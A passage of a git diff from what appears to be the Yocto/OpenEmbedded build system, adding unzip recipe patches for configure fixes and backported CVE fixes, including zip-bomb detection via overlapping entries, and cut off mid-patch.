- ${datadir}/zoneinfo/America/Denver \
- ${datadir}/zoneinfo/America/Chicago \
- ${datadir}/zoneinfo/America/New_York \
- ${datadir}/zoneinfo/America/Caracas \
- ${datadir}/zoneinfo/America/Sao_Paulo \
- ${datadir}/zoneinfo/Europe/London \
- ${datadir}/zoneinfo/Europe/Paris \
- ${datadir}/zoneinfo/Africa/Cairo \
- ${datadir}/zoneinfo/Europe/Moscow \
- ${datadir}/zoneinfo/Asia/Dubai \
- ${datadir}/zoneinfo/Asia/Karachi \
- ${datadir}/zoneinfo/Asia/Dhaka \
- ${datadir}/zoneinfo/Asia/Bankok \
- ${datadir}/zoneinfo/Asia/Hong_Kong \
- ${datadir}/zoneinfo/Asia/Tokyo \
- ${datadir}/zoneinfo/Australia/Darwin \
- ${datadir}/zoneinfo/Australia/Adelaide \
- ${datadir}/zoneinfo/Australia/Brisbane \
- ${datadir}/zoneinfo/Australia/Sydney \
- ${datadir}/zoneinfo/Pacific/Noumea \
- ${datadir}/zoneinfo/CET \
- ${datadir}/zoneinfo/CST6CDT \
- ${datadir}/zoneinfo/EET \
- ${datadir}/zoneinfo/EST \
- ${datadir}/zoneinfo/EST5EDT \
- ${datadir}/zoneinfo/GB \
- ${datadir}/zoneinfo/GMT \
- ${datadir}/zoneinfo/GMT+0 \
- ${datadir}/zoneinfo/GMT-0 \
- ${datadir}/zoneinfo/GMT0 \
- ${datadir}/zoneinfo/Greenwich \
- ${datadir}/zoneinfo/HST \
- ${datadir}/zoneinfo/MET \
- ${datadir}/zoneinfo/MST \
- ${datadir}/zoneinfo/MST7MDT \
- ${datadir}/zoneinfo/NZ \
- ${datadir}/zoneinfo/NZ-CHAT \
- ${datadir}/zoneinfo/PRC \
- ${datadir}/zoneinfo/PST8PDT \
- ${datadir}/zoneinfo/ROC \
- ${datadir}/zoneinfo/ROK \
- ${datadir}/zoneinfo/UCT \
- ${datadir}/zoneinfo/UTC \
- ${datadir}/zoneinfo/Universal \
- ${datadir}/zoneinfo/W-SU \
- ${datadir}/zoneinfo/WET \
- ${datadir}/zoneinfo/Zulu \
- ${datadir}/zoneinfo/zone.tab \
- ${datadir}/zoneinfo/zone1970.tab \
- ${datadir}/zoneinfo/iso3166.tab \
- ${datadir}/zoneinfo/Etc/*"
-
-CONFFILES_${PN} += "${@ "${sysconfdir}/timezone" if bb.utils.to_boolean(d.getVar('INSTALL_TIMEZONE_FILE')) else "" }"
-CONFFILES_${PN} += "${sysconfdir}/localtime"
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
new file mode 100644
index 0000000000..f7e0854cd9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
@@ -0,0 +1,112 @@
+From 5ac5885d35257888d0e4a9dda903405314f9fc84 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:53:13 -0700
+Subject: [PATCH] configure: Add correct system headers and prototypes to tests
+
+Newer compilers e.g. clang-15+ have turned stricter towards these
+warnings and turned them into errors which results in subtle failures
+during build, therefore make the testcases use the needed headers and
+modern C
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 51 +++++++++++++++++++++++++++++++++++++++-----------
+ 1 file changed, 40 insertions(+), 11 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 49579f3..8fd82dd 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -379,14 +379,37 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+
+ # Check for missing functions
+ # add NO_'function_name' to flags if missing
+-for func in fchmod fchown lchown nl_langinfo
+-do
+- echo Check for $func
+- echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+- [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+-done
++echo Check for fchmod
++cat > conftest.c << _EOF_
++#include <sys/stat.h>
++int main(){ fchmod(0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHMOD"
+
++echo Check for fchown
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ fchown(0,0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHOWN"
++
++echo Check for lchown
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ lchown(NULL,0,0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHOWN"
++
++echo Check for nl_langinfo
++cat > conftest.c << _EOF_
++#include <langinfo.h>
++int main(){ nl_langinfo(0); return 0; }
++_EOF_
++$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_NL_LANGINFO"
+ # Check (seriously) for a working lchmod.
+ echo 'Check for lchmod'
+ temp_file="/tmp/unzip_test_$$"
+@@ -401,14 +424,17 @@ ln -s "${temp_link}" "${temp_file}" && \
+ rm -f "${temp_file}"
+
+ echo Check for memset
+-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ char k; memset(&k,0,0); return 0; }
++_EOF_
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
+
+ echo Check for errno declaration
+ cat > conftest.c << _EOF_
+ #include <errno.h>
+-main()
++int main()
+ {
+ errno = 0;
+ return 0;
+@@ -419,6 +445,8 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+
+ echo Check for directory libraries
+ cat > conftest.c << _EOF_
++#include <sys/types.h>
++#include <dirent.h>
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+@@ -523,10 +551,11 @@ fi
+ # needed for AIX (and others ?) when mmap is used
+ echo Check for valloc
+ cat > conftest.c << _EOF_
+-main()
++#include <stdlib.h>
++int main()
+ {
+ #ifdef MMAP
+- valloc();
++ valloc(0);
+ #endif
+ }
+ _EOF_
+--
+2.37.1
+
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
new file mode 100644
index 0000000000..5a6d1946f6
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
@@ -0,0 +1,137 @@
+From da29ba6a27d8e78562052c79061476848915eb2a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Mar 2022 12:13:28 -0800
+Subject: [PATCH] configure: Pass LDFLAGS to tests doing link step
+
+Ensures that right flags from recipes are honored, otherwise tests fail
+which otherwise should not.
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 28 ++++++++++++++--------------
+ 1 file changed, 14 insertions(+), 14 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index d4b0a8e..49579f3 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -116,7 +116,7 @@ _EOF_
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+ lf='-Wl,-search_paths_first'
+- $CC $CFLAGS $lf conftest.c > /dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $lf conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+ BZLF=${lf}
+ fi
+@@ -276,7 +276,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo -- no Large File Support
+ else
+@@ -322,7 +322,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no Unicode (wchar_t) support"
+ else
+@@ -383,7 +383,7 @@ for func in fchmod fchown lchown nl_langinfo
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+@@ -395,14 +395,14 @@ temp_link="link_$$"
+ echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
+ ) > conftest.c
+ ln -s "${temp_link}" "${temp_file}" && \
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null && \
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
+ ./conftest
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
+ rm -f "${temp_file}"
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
+
+ echo Check for errno declaration
+@@ -422,12 +422,12 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+ do
+- $CC -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
++ $CC $CLFAGS $LDFLAGS -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && OPT=-l$lib && break
+ done
+ if [ ${OPT} ]; then
+@@ -440,9 +440,9 @@ fi
+ # Dynix/ptx 1.3 needed this
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -501,7 +501,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC ${CFLAGS} ${CFLAGSR} -o conftest conftest.c >/dev/null 2>/dev/null
++$CC ${CFLAGS} ${CFLAGSR} $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no MBCS support"
+ CFLAGSR="${CFLAGSR} -DNO_MBCS"
+@@ -515,7 +515,7 @@ else
+ do
+ echo Check for MBCS $func
+ echo "int main() { $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -D`echo $func | tr '[a-z]' '[A-Z]'`=$func"
+ done
+ fi
+@@ -557,7 +557,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+@@ -565,7 +565,7 @@ else
+ case $SYSTEM in
+ OSF1|ULTRIX)
+ echo Check for -Olimit option
+- $CC ${CFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC ${CFLAGS} ${LDFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -Olimit 1000"
+ ;;
+ ### HP-UX)
+--
+2.35.1
+
diff --git a/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
new file mode 100644
index 0000000000..2fa7f481b7
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
@@ -0,0 +1,103 @@
+From 5cbf901b5c3b6a7d1d0ed91b6df4194bb6d25a40 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Jun 2023 07:14:17 -0700
+Subject: [PATCH] unix/configure: fix detection for cross compilation
+
+We're doing cross compilation, running a cross-compiled problem
+on host to detemine feature is not correct. So we change runtime
+check into compile-time check to detect the features.
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ unix/configure | 44 +++++++++++++++-----------------------------
+ 1 file changed, 15 insertions(+), 29 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 8fd82dd..68dee98 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -259,6 +259,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
++_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
++
+ int main()
+ {
+ off_t offset;
+@@ -278,21 +282,10 @@ _EOF_
+ # compile it
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- echo -- no Large File Support
++ echo -- yes we have Large File Support!
++ CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- no Large File Support - no 64-bit off_t
+- elif [ $r -eq 2 ]; then
+- echo -- no Large File Support - no 64-bit stat
+- elif [ $r -eq 3 ]; then
+- echo -- yes we have Large File Support!
+- CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
+- else
+- echo -- no Large File Support - conftest returned $r
+- fi
++ echo -- no Large File Support
+ fi
+
+ # Added 11/24/2005 EG
+@@ -302,6 +295,11 @@ cat > conftest.c << _EOF_
+ #include <stdlib.h>
+ #include <stdio.h>
+ #include <wchar.h>
++
++#ifndef __STDC_ISO_10646__
++#error "__STDC_ISO_10646__ not defined
++#endif
++
+ int main()
+ {
+ size_t wsize;
+@@ -327,19 +325,8 @@ if [ $? -ne 0 ]; then
+ echo "-- no Unicode (wchar_t) support"
+ else
+ # have wide char support
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 0 ]; then
+- echo -- no Unicode wchar_t support - wchar_t allocation error
+- elif [ $r -eq 1 ]; then
+- echo -- no Unicode support - wchar_t encoding unspecified
+- elif [ $r -eq 2 ]; then
+- echo -- have wchar_t with known UCS encoding - enabling Unicode support!
+- CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
+- else
+- echo "-- no Unicode (wchar_t) support - conftest returned $r"
+- fi
++ echo -- have wchar_t with known UCS encoding - enabling Unicode support!
++ CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
+ fi
+
+ echo "Check for setlocale support (needed for UNICODE Native check)"
+@@ -418,8 +405,7 @@ temp_link="link_$$"
+ echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
+ ) > conftest.c
+ ln -s "${temp_link}" "${temp_file}" && \
+- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
+- ./conftest
++ $CC -Werror=implicit-function-declaration $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
+ rm -f "${temp_file}"
+
+--
+2.34.1
+
diff --git a/meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch b/meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch
new file mode 100644
index 0000000000..37289d1a53
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch
@@ -0,0 +1,48 @@
+From 349f566e6e757458843fa164a0f0584280e1501e Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Wed, 15 Aug 2018 16:20:53 +0800
+Subject: [PATCH] unzip: fix CVE-2018-1000035
+
+Upstream-Status: Backport
+
+CVE: CVE-2018-1000035
+
+backport from unzip6.10c23
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ fileio.c | 11 ++++++++---
+ 1 file changed, 8 insertions(+), 3 deletions(-)
+
+diff --git a/fileio.c b/fileio.c
+index 36bfea3..7605a29 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -1582,6 +1582,8 @@ int UZ_EXP UzpPassword (pG, rcnt, pwbuf, size, zfn, efn)
+ int r = IZ_PW_ENTERED;
+ char *m;
+ char *prompt;
++ char *ep;
++ char *zp;
+
+ #ifndef REENTRANT
+ /* tell picky compilers to shut up about "unused variable" warnings */
+@@ -1590,9 +1592,12 @@ int UZ_EXP UzpPassword (pG, rcnt, pwbuf, size, zfn, efn)
+
+ if (*rcnt == 0) { /* First call for current entry */
+ *rcnt = 2;
+- if ((prompt = (char *)malloc(2*FILNAMSIZ + 15)) != (char *)NULL) {
+- sprintf(prompt, LoadFarString(PasswPrompt),
+- FnFilter1(zfn), FnFilter2(efn));
++ zp = FnFilter1( zfn);
++ ep = FnFilter2( efn);
++ prompt = (char *)malloc( /* Slightly too long (2* "%s"). */
++ sizeof( PasswPrompt)+ strlen( zp)+ strlen( ep));
++ if (prompt != (char *)NULL) {
++ sprintf(prompt, LoadFarString(PasswPrompt), zp, ep);
+ m = prompt;
+ } else
+ m = (char *)LoadFarString(PasswPrompt2);
+--
+2.7.4
+
diff --git a/meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch b/meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch
index c989df1896..ca4aaadffe 100644
--- a/meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch
+++ b/meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch
@@ -9,9 +9,11 @@ CVE: CVE-2014-8140
Signed-off-by: Roy Li <rongqing.li@windriver.com>
---- a/extract.c
-+++ b/extract.c
-@@ -2232,10 +2232,17 @@
+Index: unzip60/extract.c
+===================================================================
+--- unzip60.orig/extract.c
++++ unzip60/extract.c
+@@ -2233,10 +2233,17 @@ static int test_compr_eb(__G__ eb, eb_si
if (compr_offset < 4) /* field is not compressed: */
return PK_OK; /* do nothing and signal OK */
@@ -30,5 +32,5 @@ Signed-off-by: Roy Li <rongqing.li@windriver.com>
+ ((eb_ucsize > 0L) && (eb_size <= (compr_offset + EB_CMPRHEADLEN))))
+ return IZ_EF_TRUNC; /* no/bad compressed data! */
- if (
- #ifdef INT_16BIT
+ method = makeword(eb + (EB_HEADSIZE + compr_offset));
+ if ((method == STORED) &&
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch b/meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch
new file mode 100644
index 0000000000..cc9e2c1ea1
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch
@@ -0,0 +1,39 @@
+Upstream-Status: Backport [https://sourceforge.net/p/infozip/bugs/53/]
+CVE: CVE-2018-18384
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+--- unzip60/list.c
++++ unzip60/list.c
+@@ -97,7 +97,7 @@ int list_files(__G) /* return PK-type
+ {
+ int do_this_file=FALSE, cfactor, error, error_in_archive=PK_COOL;
+ #ifndef WINDLL
+- char sgn, cfactorstr[10];
++ char sgn, cfactorstr[1+10+1+1]; /* <sgn><int>%NUL */
+ int longhdr=(uO.vflag>1);
+ #endif
+ int date_format;
+@@ -389,9 +389,9 @@ int list_files(__G) /* return PK-type
+ }
+ #else /* !WINDLL */
+ if (cfactor == 100)
+- sprintf(cfactorstr, LoadFarString(CompFactor100));
++ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactor100));
+ else
+- sprintf(cfactorstr, LoadFarString(CompFactorStr), sgn, cfactor);
++ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactorStr), sgn, cfactor);
+ if (longhdr)
+ Info(slide, 0, ((char *)slide, LoadFarString(LongHdrStats),
+ FmZofft(G.crec.ucsize, "8", "u"), methbuf,
+@@ -471,9 +471,9 @@ int list_files(__G) /* return PK-type
+
+ #else /* !WINDLL */
+ if (cfactor == 100)
+- sprintf(cfactorstr, LoadFarString(CompFactor100));
++ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactor100));
+ else
+- sprintf(cfactorstr, LoadFarString(CompFactorStr), sgn, cfactor);
++ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactorStr), sgn, cfactor);
+ if (longhdr) {
+ Info(slide, 0, ((char *)slide, LoadFarString(LongFileTrailer),
+ FmZofft(tot_ucsize, "8", "u"), FmZofft(tot_csize, "8", "u"),
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch
new file mode 100644
index 0000000000..d485a1bd6e
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch
@@ -0,0 +1,33 @@
+From 080d52c3c9416c731f637f9c6e003961ef43f079 Mon Sep 17 00:00:00 2001
+From: Mark Adler <madler@alumni.caltech.edu>
+Date: Mon, 27 May 2019 08:20:32 -0700
+Subject: [PATCH 1/3] Fix bug in undefer_input() that misplaced the input
+ state.
+
+CVE: CVE-2019-13232
+Upstream-Status: Backport
+[https://github.com/madler/unzip/commit/41beb477c5744bc396fa1162ee0c14218ec12213]
+
+Signed-off-by: Dan Tran <dantran@microsoft.com>
+---
+ fileio.c | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/fileio.c b/fileio.c
+index 7605a29..14460f3 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -532,8 +532,10 @@ void undefer_input(__G)
+ * This condition was checked when G.incnt_leftover was set > 0 in
+ * defer_leftover_input(), and it is NOT allowed to touch G.csize
+ * before calling undefer_input() when (G.incnt_leftover > 0)
+- * (single exception: see read_byte()'s "G.csize <= 0" handling) !!
++ * (single exception: see readbyte()'s "G.csize <= 0" handling) !!
+ */
++ if (G.csize < 0L)
++ G.csize = 0L;
+ G.incnt = G.incnt_leftover + (int)G.csize;
+ G.inptr = G.inptr_leftover - (int)G.csize;
+ G.incnt_leftover = 0;
+--
+2.22.0.vfs.1.1.57.gbaf16c8
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch
new file mode 100644
index 0000000000..41037a8e24
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch
@@ -0,0 +1,356 @@
+From 1aae47fa8935654a84403768f32c03ecbb1be470 Mon Sep 17 00:00:00 2001
+From: Mark Adler <madler@alumni.caltech.edu>
+Date: Tue, 11 Jun 2019 22:01:18 -0700
+Subject: [PATCH 2/3] Detect and reject a zip bomb using overlapped entries.
+
+This detects an invalid zip file that has at least one entry that
+overlaps with another entry or with the central directory to the
+end of the file. A Fifield zip bomb uses overlapped local entries
+to vastly increase the potential inflation ratio. Such an invalid
+zip file is rejected.
+
+See https://www.bamsoftware.com/hacks/zipbomb/ for David Fifield's
+analysis, construction, and examples of such zip bombs.
+
+The detection maintains a list of covered spans of the zip files
+so far, where the central directory to the end of the file and any
+bytes preceding the first entry at zip file offset zero are
+considered covered initially. Then as each entry is decompressed
+or tested, it is considered covered. When a new entry is about to
+be processed, its initial offset is checked to see if it is
+contained by a covered span. If so, the zip file is rejected as
+invalid.
+
+This commit depends on a preceding commit: "Fix bug in
+undefer_input() that misplaced the input state."
+
+CVE: CVE-2019-13232
+Upstream-Status: Backport
+[https://github.com/madler/unzip/commit/47b3ceae397d21bf822bc2ac73052a4b1daf8e1c]
+
+Signed-off-by: Dan Tran <dantran@microsoft.com>
+---
+ extract.c | 190 +++++++++++++++++++++++++++++++++++++++++++++++++++++-
+ globals.c | 1 +
+ globals.h | 3 +
+ process.c | 10 +++
+ unzip.h | 1 +
+ 5 files changed, 204 insertions(+), 1 deletion(-)
+
+diff --git a/extract.c b/extract.c
+index 24db2a8..2bb72ba 100644
+--- a/extract.c
++++ b/extract.c
+@@ -321,6 +321,125 @@ static ZCONST char Far UnsupportedExtraField[] =
+ "\nerror: unsupported extra-field compression type (%u)--skipping\n";
+ static ZCONST char Far BadExtraFieldCRC[] =
+ "error [%s]: bad extra-field CRC %08lx (should be %08lx)\n";
++static ZCONST char Far NotEnoughMemCover[] =
++ "error: not enough memory for bomb detection\n";
++static ZCONST char Far OverlappedComponents[] =
++ "error: invalid zip file with overlapped components (possible zip bomb)\n";
++
++
++
++
++
++/* A growable list of spans. */
++typedef zoff_t bound_t;
++typedef struct {
++ bound_t beg; /* start of the span */
++ bound_t end; /* one past the end of the span */
++} span_t;
++typedef struct {
++ span_t *span; /* allocated, distinct, and sorted list of spans */
++ size_t num; /* number of spans in the list */
++ size_t max; /* allocated number of spans (num <= max) */
++} cover_t;
++
++/*
++ * Return the index of the first span in cover whose beg is greater than val.
++ * If there is no such span, then cover->num is returned.
++ */
++static size_t cover_find(cover, val)
++ cover_t *cover;
++ bound_t val;
++{
++ size_t lo = 0, hi = cover->num;
++ while (lo < hi) {
++ size_t mid = (lo + hi) >> 1;
++ if (val < cover->span[mid].beg)
++ hi = mid;
++ else
++ lo = mid + 1;
++ }
++ return hi;
++}
++
++/* Return true if val lies within any one of the spans in cover. */
++static int cover_within(cover, val)
++ cover_t *cover;
++ bound_t val;
++{
++ size_t pos = cover_find(cover, val);
++ return pos > 0 && val < cover->span[pos - 1].end;
++}
++
++/*
++ * Add a new span to the list, but only if the new span does not overlap any
++ * spans already in the list. The new span covers the values beg..end-1. beg
++ * must be less than end.
++ *
++ * Keep the list sorted and merge adjacent spans. Grow the allocated space for
++ * the list as needed. On success, 0 is returned. If the new span overlaps any
++ * existing spans, then 1 is returned and the new span is not added to the
++ * list. If the new span is invalid because beg is greater than or equal to
++ * end, then -1 is returned. If the list needs to be grown but the memory
++ * allocation fails, then -2 is returned.
++ */
++static int cover_add(cover, beg, end)
++ cover_t *cover;
++ bound_t beg;
++ bound_t end;
++{
++ size_t pos;
++ int prec, foll;
++
++ if (beg >= end)
++ /* The new span is invalid. */
++ return -1;
++
++ /* Find where the new span should go, and make sure that it does not
++ overlap with any existing spans. */
++ pos = cover_find(cover, beg);
++ if ((pos > 0 && beg < cover->span[pos - 1].end) ||
++ (pos < cover->num && end > cover->span[pos].beg))
++ return 1;
++
++ /* Check for adjacencies. */
++ prec = pos > 0 && beg == cover->span[pos - 1].end;
++ foll = pos < cover->num && end == cover->span[pos].beg;
++ if (prec && foll) {
++ /* The new span connects the preceding and following spans. Merge the
++ following span into the preceding span, and delete the following
++ span. */
++ cover->span[pos - 1].end = cover->span[pos].end;
++ cover->num--;
++ memmove(cover->span + pos, cover->span + pos + 1,
++ (cover->num - pos) * sizeof(span_t));
++ }
++ else if (prec)
++ /* The new span is adjacent only to the preceding span. Extend the end
++ of the preceding span. */
++ cover->span[pos - 1].end = end;
++ else if (foll)
++ /* The new span is adjacent only to the following span. Extend the
++ beginning of the following span. */
++ cover->span[pos].beg = beg;
++ else {
++ /* The new span has gaps between both the preceding and the following
++ spans. Assure that there is room and insert the span. */
++ if (cover->num == cover->max) {
++ size_t max = cover->max == 0 ? 16 : cover->max << 1;
++ span_t *span = realloc(cover->span, max * sizeof(span_t));
++ if (span == NULL)
++ return -2;
++ cover->span = span;
++ cover->max = max;
++ }
++ memmove(cover->span + pos + 1, cover->span + pos,
++ (cover->num - pos) * sizeof(span_t));
++ cover->num++;
++ cover->span[pos].beg = beg;
++ cover->span[pos].end = end;
++ }
++ return 0;
++}
+
+
+
+@@ -376,6 +495,29 @@ int extract_or_test_files(__G) /* return PK-type error code */
+ }
+ #endif /* !SFX || SFX_EXDIR */
+
++ /* One more: initialize cover structure for bomb detection. Start with a
++ span that covers the central directory though the end of the file. */
++ if (G.cover == NULL) {
++ G.cover = malloc(sizeof(cover_t));
